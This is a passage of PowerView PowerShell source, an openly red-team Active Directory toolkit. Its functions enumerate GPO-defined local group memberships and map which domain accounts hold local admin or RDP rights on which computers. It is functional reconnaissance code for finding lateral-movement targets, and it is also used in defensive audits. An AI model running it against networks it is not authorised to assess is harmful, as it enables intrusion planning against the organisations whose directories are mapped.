Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOLocalGroup + +Returns all local groups set by GPO along with their members and memberof. + +.EXAMPLE + +Get-DomainGPOLocalGroup -ResolveMembersToSIDs + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +.EXAMPLE + +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup + +Return any GPO-set groups for the GPO with the given name/GUID. + +.EXAMPLE + +Get-DomainGPOLocalGroup 'Desktops' + +Return any GPO-set groups for the GPO with the given display name. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +.LINK + +https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $ResolveMembersToSIDs, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach ($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup + } + } + + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } + } + } +} + + +function Get-DomainGPOUserLocalGroupMapping { +<# +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping + +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + $TargetSIDs = @() + + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" + } + } + else { + # no filtering/match all + $TargetSIDs = @('*') + } + + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' + } + else { + # RDP + $TargetLocalSID = 'S-1-5-32-555' + } + + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } + } + + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } + + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } + + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + } +} + + +function Get-DomainGPOComputerLocalGroupMapping { +<# +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +.PARAMETER ComputerIdentity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. + +.PARAMETER OUIdentity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] + [String] + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' + + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." + } + + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink + $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember + } + } + } + } + } +} + + +function Get-DomainPolicyData { +<# +.SYNOPSIS + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +.DESCRIPTION + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +.PARAMETER Domain + +The domain to query for default policies, defaults to the current domain. + +.PARAMETER Policy + +Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. +Otherwise queries for the particular GPO name or GUID. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainPolicyData + +Returns the default domain policy for the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Domain dev.testlab.local + +Returns the default domain policy for the dev.testlab.local domain. + +.EXAMPLE + +Get-DomainGPO | Get-DomainPolicy + +Parses any GptTmpl.infs found for any policies in the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Policy DC -Domain dev.testlab.local + +Returns the policy for the dev.testlab.local domain controller. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicyData -Credential $Cred + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Source', 'Name')] + [String] + $Policy = 'Domain', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if 